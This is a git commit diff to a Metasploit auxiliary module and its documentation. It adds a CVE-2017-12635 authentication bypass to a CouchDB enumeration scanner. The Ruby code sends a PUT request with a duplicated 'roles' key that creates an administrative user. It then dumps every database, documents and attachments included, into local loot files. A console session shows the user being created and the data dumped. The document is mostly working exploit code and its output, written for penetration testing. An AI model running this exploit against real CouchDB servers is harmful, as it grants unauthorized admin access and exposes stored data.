Land #10648, auth bypass for couchdb_enum
This commit is contained in:
commit
f96514528b
|
@ -3,7 +3,7 @@
|
|||
Apache CouchDB is a nosql database server which communicates over HTTP. This module will enumerate the server and databases hosted on it.
|
||||
|
||||
The following was done on Ubuntu 16.04, and is largely base on [1and1.com](https://www.1and1.com/cloud-community/learn/database/couchdb/install-and-use-couchdb-on-ubuntu-1604/):
|
||||
|
||||
|
||||
1. `sudo apt install software-properties-common`
|
||||
2. `sudo add-apt-repository ppa:couchdb/stable`
|
||||
3. `sudo apt update`
|
||||
|
@ -20,54 +20,77 @@ The following was done on Ubuntu 16.04, and is largely base on [1and1.com](https
|
|||
|
||||
## Options
|
||||
|
||||
**serverinfo**
|
||||
**SERVERINFO**
|
||||
|
||||
If set to true, the server info will also enumerated and set in msf's DB. Defaults to `false`
|
||||
If set to `true`, the server info will also enumerated and set in msf's DB. Defaults to `false`.
|
||||
|
||||
**CREATEUSER**
|
||||
|
||||
If set to `true`, the server info will attempt to create an account in CouchDB using configured credentials (limited to CVE-2017-12635 conditions). Defaults to `false`.
|
||||
|
||||
## Scenarios
|
||||
|
||||
A run against the configuration from these docs
|
||||
Dumping databases with `SERVERINFO` and `CREATEUSER` set:
|
||||
|
||||
```
|
||||
msf5 auxiliary(scanner/afp/afp_login) > use auxiliary/scanner/couchdb/couchdb_enum
|
||||
msf5 auxiliary(scanner/couchdb/couchdb_enum) > set rhosts 1.1.1.1
|
||||
rhosts => 1.1.1.1
|
||||
msf5 auxiliary(scanner/couchdb/couchdb_enum) > set verbose true
|
||||
verbose => true
|
||||
msf5 auxiliary(scanner/couchdb/couchdb_enum) > run
|
||||
|
||||
[+] 1.1.1.1:5984 {
|
||||
"couchdb": "Welcome",
|
||||
"uuid": "6f08e89795bd845efc6c2bf3d57799e5",
|
||||
"version": "1.6.1",
|
||||
"vendor": {
|
||||
"version": "16.04",
|
||||
"name": "Ubuntu"
|
||||
}
|
||||
```
|
||||
msf5 > use auxiliary/scanner/couchdb/couchdb_enum
|
||||
msf5 auxiliary(scanner/couchdb/couchdb_enum) > options
|
||||
|
||||
Module options (auxiliary/scanner/couchdb/couchdb_enum):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
CREATEUSER false yes Create Administrative user
|
||||
HttpPassword IJvoGDWAWzQo yes CouchDB Password
|
||||
HttpUsername CQuXQnVwQAow yes CouchDB Username
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS yes The target address range or CIDR identifier
|
||||
ROLES _admin yes CouchDB Roles
|
||||
RPORT 5984 yes The target port (TCP)
|
||||
SERVERINFO false yes Print server info
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
TARGETURI /_all_dbs yes Path to list all the databases
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
msf5 auxiliary(scanner/couchdb/couchdb_enum) > set rhosts 127.0.0.1
|
||||
rhosts => 127.0.0.1
|
||||
msf5 auxiliary(scanner/couchdb/couchdb_enum) > set serverinfo true
|
||||
serverinfo => true
|
||||
msf5 auxiliary(scanner/couchdb/couchdb_enum) > set createuser true
|
||||
createuser => true
|
||||
msf5 auxiliary(scanner/couchdb/couchdb_enum) > set verbose true
|
||||
verbose => true
|
||||
msf5 auxiliary(scanner/couchdb/couchdb_enum) > check
|
||||
|
||||
[+] 127.0.0.1:5984 - Found CouchDB version 2.1.0
|
||||
[*] 127.0.0.1:5984 - The target appears to be vulnerable.
|
||||
msf5 auxiliary(scanner/couchdb/couchdb_enum) > run
|
||||
|
||||
[+] 127.0.0.1:5984 - Found CouchDB version 2.1.0
|
||||
[+] 127.0.0.1:5984 - User CQuXQnVwQAow created with password IJvoGDWAWzQo. Connect to http://127.0.0.1:5984/_utils/ to login.
|
||||
[+] 127.0.0.1:5984 - {
|
||||
"couchdb": "Welcome",
|
||||
"version": "2.1.0",
|
||||
"features": [
|
||||
"scheduler"
|
||||
],
|
||||
"vendor": {
|
||||
"name": "The Apache Software Foundation"
|
||||
}
|
||||
[*] #{peer} Enumerating Databases...
|
||||
[+] 1.1.1.1:5984 Databases:
|
||||
|
||||
[
|
||||
"_replicator",
|
||||
"_users"
|
||||
]
|
||||
|
||||
[+] 1.1.1.1:5984 File saved in: /root/.msf4/loot/20180721105522_default_1.1.1.1_couchdb.enum_888970.bin
|
||||
|
||||
msf5 auxiliary(scanner/couchdb/couchdb_enum) > services
|
||||
Services
|
||||
========
|
||||
|
||||
host port proto name state info
|
||||
---- ---- ----- ---- ----- ----
|
||||
1.1.1.1 5984 tcp couchdb open HTTP/1.1 200 OK
|
||||
Server: CouchDB/1.6.1 (Erlang OTP/18)
|
||||
Date: Sat, 21 Jul 2018 14:54:45 GMT
|
||||
Content-Type: text/plain; charset=utf-8
|
||||
Content-Length: 127
|
||||
Cache-Control: must-revalidate
|
||||
|
||||
{"couchdb":"Welcome","uuid":"6f08e89795bd845efc6c2bf3d57799e5","version":"1.6.1","vendor":{"version":"16.04","name":"Ubuntu"}}
|
||||
}
|
||||
[*] 127.0.0.1:5984 - Enumerating Databases...
|
||||
[+] 127.0.0.1:5984 - Databases:
|
||||
|
||||
```
|
||||
[
|
||||
"_global_changes",
|
||||
"_replicator",
|
||||
"_users"
|
||||
]
|
||||
|
||||
[+] 127.0.0.1:5984 - File saved in: /Users/wvu/.msf4/loot/20190107125002_default_127.0.0.1_couchdb.enum_790231.bin
|
||||
[+] 127.0.0.1:5984 - _global_changes saved in: /Users/wvu/.msf4/loot/20190107125002_default_127.0.0.1_couchdb._global__841794.bin
|
||||
[+] 127.0.0.1:5984 - _replicator saved in: /Users/wvu/.msf4/loot/20190107125002_default_127.0.0.1_couchdb._replica_022445.bin
|
||||
[+] 127.0.0.1:5984 - _users saved in: /Users/wvu/.msf4/loot/20190107125002_default_127.0.0.1_couchdb._users_671128.bin
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(scanner/couchdb/couchdb_enum) >
|
||||
```
|
||||
|
|
|
@ -9,26 +9,37 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'CouchDB Enum Utility',
|
||||
'Description' => %q{
|
||||
'Name' => 'CouchDB Enum Utility',
|
||||
'Description' => %q{
|
||||
This module enumerates databases on CouchDB using the REST API
|
||||
(without authentication by default).
|
||||
},
|
||||
'References' =>
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2017-12635'],
|
||||
['URL', 'https://justi.cz/security/2017/11/14/couchdb-rce-npm.html'],
|
||||
['URL', 'https://wiki.apache.org/couchdb/HTTP_database_API']
|
||||
],
|
||||
'Author' => [ 'Roberto Soares Espreto <robertoespreto[at]gmail.com>' ],
|
||||
'License' => MSF_LICENSE
|
||||
'Author' =>
|
||||
[
|
||||
'Max Justicz', # Vulnerability discovery
|
||||
'Roberto Soares Espreto <robertoespreto[at]gmail.com>', # Metasploit module
|
||||
'Hendrik Van Belleghem', # (@hendrikvb) Database dump enhancements
|
||||
'Green-m <greenm.xxoo[at]gmail.com>' # Portions from apache_couchdb_cmd_exec.rb used
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(5984),
|
||||
OptString.new('TARGETURI', [true, 'Path to list all the databases', '/_all_dbs']),
|
||||
OptBool.new('SERVERINFO', [true, 'Print server info']),
|
||||
OptString.new('HttpUsername', [false, 'The username to login as']),
|
||||
OptString.new('HttpPassword', [false, 'The password to login with'])
|
||||
OptBool.new('SERVERINFO', [true, 'Print server info', false]),
|
||||
OptBool.new('CREATEUSER', [true, 'Create Administrative user', false]),
|
||||
OptString.new('HttpUsername', [true, 'CouchDB Username', Rex::Text.rand_text_alpha(12)]),
|
||||
OptString.new('HttpPassword', [true, 'CouchDB Password', Rex::Text.rand_text_alpha(12)]),
|
||||
OptString.new('ROLES', [true, 'CouchDB Roles', '_admin'])
|
||||
|
||||
])
|
||||
end
|
||||
|
||||
|
@ -36,76 +47,181 @@ class MetasploitModule < Msf::Auxiliary
|
|||
return res.code == 200 && res.headers['Server'].include?('CouchDB')
|
||||
end
|
||||
|
||||
def get_version
|
||||
@version = nil
|
||||
|
||||
begin
|
||||
res = send_request_cgi(
|
||||
'uri' => '/',
|
||||
'method' => 'GET'
|
||||
)
|
||||
rescue Rex::ConnectionError
|
||||
vprint_bad("#{peer} - Connection failed")
|
||||
return false
|
||||
end
|
||||
|
||||
unless res
|
||||
vprint_bad("#{peer} - No response, check if it is CouchDB.")
|
||||
return false
|
||||
end
|
||||
|
||||
if res && res.code == 401
|
||||
print_bad("#{peer} - Authentication required.")
|
||||
return false
|
||||
end
|
||||
|
||||
if res && res.code == 200
|
||||
res_json = res.get_json_document
|
||||
|
||||
if res_json.empty?
|
||||
vprint_bad("#{peer} - Cannot parse the response, seems like it's not CouchDB.")
|
||||
return false
|
||||
end
|
||||
|
||||
@version = res_json['version'] if res_json['version']
|
||||
return true
|
||||
end
|
||||
|
||||
vprint_warning("#{peer} - Version not found")
|
||||
true
|
||||
end
|
||||
|
||||
def check
|
||||
return Exploit::CheckCode::Unknown unless get_version
|
||||
version = Gem::Version.new(@version)
|
||||
return Exploit::CheckCode::Unknown if version.version.empty?
|
||||
vprint_good("#{peer} - Found CouchDB version #{version}")
|
||||
|
||||
return Exploit::CheckCode::Appears if version < Gem::Version.new('1.7.0') || version.between?(Gem::Version.new('2.0.0'), Gem::Version.new('2.1.0'))
|
||||
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def get_dbs(auth)
|
||||
begin
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path),
|
||||
'method' => 'GET',
|
||||
'authorization' => auth
|
||||
'uri' => normalize_uri(target_uri.path),
|
||||
'method' => 'GET'
|
||||
)
|
||||
|
||||
temp = JSON.parse(res.body)
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, JSON::ParserError => e
|
||||
print_error("#{peer} The following Error was encountered: #{e.class}")
|
||||
print_error("#{peer} - The following Error was encountered: #{e.class}")
|
||||
return
|
||||
end
|
||||
|
||||
if valid_response(res)
|
||||
print_status("#{peer} Enumerating Databases...")
|
||||
results = JSON.pretty_generate(temp)
|
||||
print_good("#{peer} Databases:\n\n#{results}\n")
|
||||
unless valid_response(res)
|
||||
print_error("#{peer} - Unable to enum, received \"#{res.code}\"")
|
||||
return
|
||||
end
|
||||
|
||||
path = store_loot(
|
||||
'couchdb.enum',
|
||||
'application/json',
|
||||
rhost,
|
||||
results,
|
||||
'CouchDB Databases'
|
||||
)
|
||||
print_status("#{peer} - Enumerating Databases...")
|
||||
results = JSON.pretty_generate(temp)
|
||||
print_good("#{peer} - Databases:\n\n#{results}\n")
|
||||
path = store_loot(
|
||||
'couchdb.enum',
|
||||
'application/json',
|
||||
rhost,
|
||||
results,
|
||||
'CouchDB Databases'
|
||||
)
|
||||
|
||||
print_good("#{peer} File saved in: #{path}")
|
||||
else
|
||||
print_error("#{peer} Unable to enum, received \"#{res.code}\"")
|
||||
print_good("#{peer} - File saved in: #{path}")
|
||||
res.get_json_document.each do |db|
|
||||
r = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, "/#{db}/_all_docs"),
|
||||
'method'=> 'GET',
|
||||
'authorization' => auth,
|
||||
'vars_get' => {'include_docs' => 'true', 'attachments' => 'true'}
|
||||
)
|
||||
if r.code != 200
|
||||
print_bad("#{peer} - Error retrieving database. Consider providing credentials or setting CREATEUSER and rerunning.")
|
||||
return
|
||||
end
|
||||
temp = JSON.parse(r.body)
|
||||
results = JSON.pretty_generate(temp)
|
||||
path = store_loot(
|
||||
"couchdb.#{db}",
|
||||
"application/json",
|
||||
rhost,
|
||||
results,
|
||||
"CouchDB Databases"
|
||||
)
|
||||
print_good("#{peer} - #{db} saved in: #{path}")
|
||||
end
|
||||
end
|
||||
|
||||
def get_server_info(auth)
|
||||
begin
|
||||
res = send_request_cgi(
|
||||
'uri' => '/',
|
||||
'method' => 'GET',
|
||||
'authorization' => auth
|
||||
'uri' => '/',
|
||||
'method' => 'GET'
|
||||
)
|
||||
|
||||
temp = JSON.parse(res.body)
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, JSON::ParserError => e
|
||||
print_error("#{peer} The following Error was encountered: #{e.class}")
|
||||
print_error("#{peer} - The following Error was encountered: #{e.class}")
|
||||
return
|
||||
end
|
||||
|
||||
if valid_response(res)
|
||||
# Example response: {"couchdb":"Welcome","uuid":"6f08e89795bd845efc6c2bf3d57799e5","version":"1.6.1","vendor":{"version":"16.04","name":"Ubuntu"}}
|
||||
|
||||
print_good("#{peer} #{JSON.pretty_generate(temp)}")
|
||||
report_service(
|
||||
host: rhost,
|
||||
port: rport,
|
||||
name: 'couchdb',
|
||||
proto: 'tcp',
|
||||
info: res.body
|
||||
)
|
||||
else
|
||||
print_error("#{peer} Unable to enum, received \"#{res.code}\"")
|
||||
unless valid_response(res)
|
||||
print_error("#{peer} - Unable to enum, received \"#{res.code}\"")
|
||||
return
|
||||
end
|
||||
|
||||
# Example response: {"couchdb":"Welcome","uuid":"6f08e89795bd845efc6c2bf3d57799e5","version":"1.6.1","vendor":{"version":"16.04","name":"Ubuntu"}}
|
||||
|
||||
print_good("#{peer} - #{JSON.pretty_generate(temp)}")
|
||||
report_service(
|
||||
host: rhost,
|
||||
port: rport,
|
||||
name: 'couchdb',
|
||||
proto: 'tcp',
|
||||
info: res.body
|
||||
)
|
||||
end
|
||||
|
||||
def create_user
|
||||
username = datastore['HttpUsername']
|
||||
password = datastore['HttpPassword']
|
||||
roles = datastore['ROLES']
|
||||
timeout = datastore['TIMEOUT']
|
||||
version = @version
|
||||
|
||||
data = %Q({
|
||||
"type": "user",
|
||||
"name": "#{username}",
|
||||
"roles": ["#{roles}"],
|
||||
"roles": [],
|
||||
"password": "#{password}"
|
||||
})
|
||||
res = send_request_cgi(
|
||||
{ 'uri' => "/_users/org.couchdb.user:#{username}", # http://hostname:port/_users/org.couchdb.user:username
|
||||
'method' => 'PUT',
|
||||
'ctype' => 'text/json',
|
||||
'data' => data,
|
||||
}, timeout)
|
||||
|
||||
unless res && res.code == 200
|
||||
print_error("#{peer} - Change Failed")
|
||||
return
|
||||
end
|
||||
|
||||
print_good("#{peer} - User #{username} created with password #{password}. Connect to #{full_uri('/_utils/')} to login.")
|
||||
end
|
||||
|
||||
def run
|
||||
username = datastore['HttpUsername']
|
||||
password = datastore['HttpPassword']
|
||||
auth = basic_auth(username, password) if username && password
|
||||
if datastore['SERVERINFO']
|
||||
get_server_info(auth)
|
||||
|
||||
if datastore['CREATEUSER']
|
||||
fail_with(Failure::Unknown, 'get_version failed in run') unless get_version
|
||||
version = Gem::Version.new(@version)
|
||||
print_good("#{peer} - Found CouchDB version #{version}")
|
||||
create_user if version < Gem::Version.new('1.7.0') || version.between?(Gem::Version.new('2.0.0'), Gem::Version.new('2.1.0'))
|
||||
end
|
||||
auth = basic_auth(username, password) if username && password
|
||||
get_server_info(auth) if datastore['SERVERINFO']
|
||||
get_dbs(auth)
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue